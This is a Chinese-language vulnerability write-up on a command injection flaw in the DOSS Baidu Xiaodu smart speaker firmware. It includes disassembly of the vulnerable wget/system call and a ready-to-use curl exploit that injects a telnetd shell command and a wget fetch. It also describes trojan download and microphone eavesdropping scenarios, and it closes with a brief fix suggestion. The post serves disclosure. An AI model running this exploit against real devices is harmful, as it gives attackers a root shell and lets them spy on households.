网络与信息安全

DOSS百度小度AI音箱命令注入漏洞

2018-05-23  本文已影响87人  烤土豆啦

0x01 漏洞简述

分析固件可以,该智能音箱会使用wget命令访问其他智能音箱的当前系统状态。具体命令格式为httpapi.asp?command=getprivatesyslog:ip:ip地址。逆向得知,此处存在一处明显存在一处命令注入漏洞,以下是该操作的反汇编代码如下

.text:0040F804                 addiu   $a1, $v0, (aGetsyslogIp - 0x420000)  # "getsyslog:ip:"
.text:0040F808                 jalr    $t9 ; strncmp
.text:0040F80C                 li      $a2, 0xD         # n
.text:0040F810                 bnez    $v0, loc_40F924
.text:0040F814                 lw      $gp, 0x8E0+var_8A0($sp)
.text:0040F818                 li      $v1, 0x420000
.text:0040F81C                 la      $t9, sprintf
.text:0040F820                 addiu   $s0, 0xD
.text:0040F824                 addiu   $a1, $v1, (aWgetOTmpWebSys_1 - 0x420000)  # "wget -O /tmp/web/sys.log  -T 5 http://%"...
.text:0040F828                 move    $a2, $s0
.text:0040F82C                 jalr    $t9 ; sprintf
.text:0040F830                 addiu   $a0, $sp, 0x8E0+var_86C  # s
.text:0040F834                 lw      $gp, 0x8E0+var_8A0($sp)
.text:0040F838                 la      $t9, system
.text:0040F83C                 jalr    $t9 ; system
.text:0040F840                 addiu   $a0, $sp, 0x8E0+var_86C  # command
.text:0040F844                 lw      $gp, 0x8E0+var_8A0($sp)
.text:0040F848                 addiu   $a0, $sp, 0x8E0+var_86C  # s
.text:0040F84C                 li      $a2, 0x420000
.text:0040F850                 la      $t9, sprintf
.text:0040F854                 addiu   $a1, $a2, (aWgetOTmpWebSys_0 - 0x420000)  # "wget -O /tmp/web/sys.log  -T 5 http://%"...
.text:0040F858                 jalr    $t9 ; sprintf
.text:0040F85C                 move    $a2, $s0
.text:0040F860                 lw      $gp, 0x8E0+var_8A0($sp)
.text:0040F864                 la      $t9, system
.text:0040F868                 jalr    $t9 ; system
.text:0040F86C                 addiu   $a0, $sp, 0x8E0+var_86C  # command

以输入getprivatesyslog:ip:1.1.1.1为例:

  1. 获取getprivatesyslog:ip:1.1.1.1参数
  2. 进入上面的反汇编流程,使用sprintf把1.1.1.1拼接在 wget -O /tmp/web/sys.log -T 5 http://%s/getprivatesyslog 中。
  3. 调用system函数执行上面的wget命令

在这里没有对用户输入的参数部分(IP地址)做详细的校验。导致可以拼接任意参数,例如bash的命令分隔符&。从而导致命令注入漏洞。
下面是EXP

curl 'http://192.168.2.9/httpapi.asp?command=getprivatesyslog:ip:192.168.2.1/1&%20telnetd%20%2Dl%20%2Fbin%2Fsh&%20wget%20192.168.2.1/3'

此时智能音箱就会开启telnet服务端,随后只需要通过telnet命令即可免密登陆智能音箱,获取智能音箱的shell。

0x02 攻击场景

攻击前提

通过网络可以访问智能音箱即可,没有特定的要求。一般而言使用该智能音箱连接的网络类型中局域网较多,在shoudan中并没有查到关于此智能音箱暴露在公网上的的端口信息,所以此攻击的影响范围为一个局域网内的智能音箱。

攻击场景

从上述可以看出,攻击者大多数通过其他方式破解Wi-Fi,通过Wi-Fi的方式远程攻击该智能音箱。

攻击危害

1.设备安全

本智能音箱自带wget命令,可以通过wget命令下载木马,并通过命令执行漏洞直接运行即可。值得注意的是,该嵌入式模块是linkplay公司的软硬件一体解决方案,理论上讲使用linkplay a31型号芯片的智能音箱(亚马逊音响,doss小度音响),都存在此类问题

2.隐私安全
该智能音箱带有麦克风,可以用来监听当前的谈话内容等。并通过Wi-Fi的方式将监听内容发送给攻击者,造成被害人的隐私泄露

0x03 修复建议

1、建议将用户输入的参数做过滤处理,过滤掉busybox的常见的几种命令分隔符

上一篇下一篇

猜你喜欢

热点阅读